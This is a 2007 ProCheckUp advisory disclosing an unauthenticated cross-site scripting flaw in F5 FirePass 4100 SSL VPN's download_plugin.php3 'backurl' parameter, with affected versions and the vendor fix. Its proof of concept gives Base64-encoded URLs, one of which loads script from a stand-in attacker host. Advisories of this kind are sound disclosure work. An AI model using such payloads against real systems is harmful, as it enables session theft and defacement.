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PR07-13 - Cross-site Scripting / HTML injection on F5 FirePass 4100 SSL VPN 'download_plugin.php3' server-side script

Vulnerability found:
19 June 2007
Severity level:
Medium/High
Credits:
Jan Fry and Adrian Pastor of Procheckup Ltd
Description:
F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the "backurl" parameter processed by the "download_plugin.php3" server-side script.
No authentication is required to exploit this vulnerability.

Consequences

An attacker may be able to cause execution of malicious scripting code in the browser of a user who visits a specially-crafted URL to an F5 Firepass device, or visits a malicious page that makes a request to such URL. Such code would run within the security context of the target domain.
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. admin session IDs) to unauthorised third parties.
F5 Networks has confirmed the following versions to be vulnerable
FirePass versions 5.4 - 5.5.2

FirePass versions 6.0 - 6.0.1
Successfully tested on
Server environment-

F5 FirePass 4100

Client environment-

Microsoft Internet Explorer 7.0.5730.11

Firefox 2.0.0.4

BID

26412
Proof of concept:
https://target.tld/download_plugin.php3?

js=&backurl=Ij48c2NyaXB0IHNyYz0iaHR0cDovL3d3dy5ldmlsLmZvby94c3MiPjwvc2NyaXB0PjxhIGhyZWY9Ig==
The payload is encoded in Base64, in the example it is
"><script src="http://www.evil.foo/xss"></script><a href="
which calls the malicious JavaScript code from a third-party URL ('http://www.evil.foo/xss' in this case), thus proving that scripting code can be run without restrictions of length or type of characters.
https://target.tld/download_plugin.php3?

js=&backurl=Ij48dGV4dGFyZWE+SFRNTCBpbmplY3Rpb24gdGVzdDwvdGV4dGFyZWE+PGEgaHJlZj0i
The payload is encoded in Base64, in the example it is
"><textarea>HTML injection test</textarea><a href="
which injects a 'textarea' box.
How to fix:
F5 Networks has issued SOL7498:
https://support.f5.com/kb/en-us/solutions/public/7000/400/sol7498.html
References:
http://www.f5.com/products/FirePass/
Legal:
Copyright 2007 ProCheckUp Ltd.
All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes.
Any other use of this information is prohibited.
ProCheckUp is not liable for any misuse of this information by any third party. ProCheckUp is not responsible for the content of external Internet sites.
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